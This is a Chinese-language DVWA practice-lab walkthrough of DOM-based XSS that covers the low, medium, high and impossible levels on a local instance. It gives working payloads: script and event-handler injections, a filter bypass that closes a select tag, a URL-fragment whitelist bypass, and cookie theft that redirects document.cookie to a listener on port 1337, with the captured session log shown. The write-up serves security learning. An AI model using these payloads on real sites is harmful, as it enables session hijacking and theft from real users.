DVWA靶场之十:DOM 型 XSS(DOM Based Cross Site Scripting (XSS))
XSS:攻击者把恶意脚本注入到网页中,受害者的浏览器会把它当成来自"受信任站点"的脚本来执行。脚本可以读取 cookie
、session token
、或修改页面、发起请求等。
DOM Based XSS:恶意脚本不是服务器在 HTML 内直接返回的,而是存在于 URL。
页面的客户端 JavaScript 在渲染时直接从 URL/DOM 读取并插入到页面,从而触发注入------服务器端不"看到"恶意脚本,WAF 也可能检测不到。
目标:在别的用户的浏览器里执行你(攻击者)控制的 JavaScript。
1. low
php
<?php
# No protections, anything goes
?>
没有任何限制
抓包一下,发现是通过GET提交请求http://127.0.0.1/vulnerabilities/xss_d/?default=English
输入网址http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert("XSS")</script>
得到
可以看到网页代码里也出现了
当然也可以用
payload:<script>alert(document.cookie)</script>
这种查看cookie
比如我们现自己创建一个服务器
bash
python -m http.server 1337
然后使用payload
php
<script>window.location='http://127.0.0.1:1337/?cookie=' + document.cookie</script>
之后就能在自己服务器获取cookie
bash
python -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
127.0.0.1 - - [05/Oct/2025 21:14:43] "GET /?cookie=PHPSESSID=e2ad486ef27f9561715011391530632b;%20security=low HTTP/1.1" 200 -
127.0.0.1 - - [05/Oct/2025 21:14:43] code 404, message File not found
127.0.0.1 - - [05/Oct/2025 21:14:43] "GET /favicon.ico HTTP/1.1" 404 -
2. medium
php
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
代码通过 stripos()
函数检查 $_GET['default']
中是否包含字符串 <script
。
如果找到了 <script
,代码会通过 header() 函数重定向页面,将 default 参数的值设置为 "English",从而避免恶意脚本的执行。
所以只需要用除了<script>
的方式就可以绕过
比如
- 使用其他HTML标签和事件处理器
html
<!-- 使用img标签 -->
<img src=x onerror=alert(1)>
<!-- 使用svg标签 -->
<svg onload=alert(1)>
<!-- 使用body标签 -->
<body onload=alert(1)>
- 使用链接标签
html
<!-- 使用a标签 -->
<a href="javascript:alert(1)">点击</a>
<!-- 使用iframe -->
<iframe src="javascript:alert(1)">
由于注入是在<select></select>
里的,所以payload
别忘了闭合
比如
php
</select><img src=x onerror="window.location='http://127.0.0.1:1337/?cookie='+document.cookie">
就可以在自己服务器得到cookie了
3. high
php
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
严格白名单:只允许4个特定值
自动重定向:非法输入直接重定向到English
彻底阻断:非白名单值完全无法进入后续处理
这里提一个知识
http://example.com/path/page?query=value#fragment
└ 协议 ┘ └─── 域名 ──┘ └─路径─┘ └─查询参数┘ └─片段┘
URL的片段部分(#符号后面的任何内容)不会发送到服务器,因此无法被拦截。用于渲染页面的有问题的JavaScript代码在创建页面时从片段中读取内容。也就是说这是从客户端自己发送的。
用http://127.0.0.1/vulnerabilities/xss_d/#?default=<script>alert(document.cookie)</script>
就能查看cookie,其他的方法和之前一样
4. impossible
php
<?php
# Don't need to do anything, protection handled on the client side
?>
服务端零防护,服务端完全不验证、过滤或编码用户输入,所有安全责任都推给了客户端。
大多数浏览器默认会对URL中的内容进行编码,这可以防止注入的JavaScript代码被执行。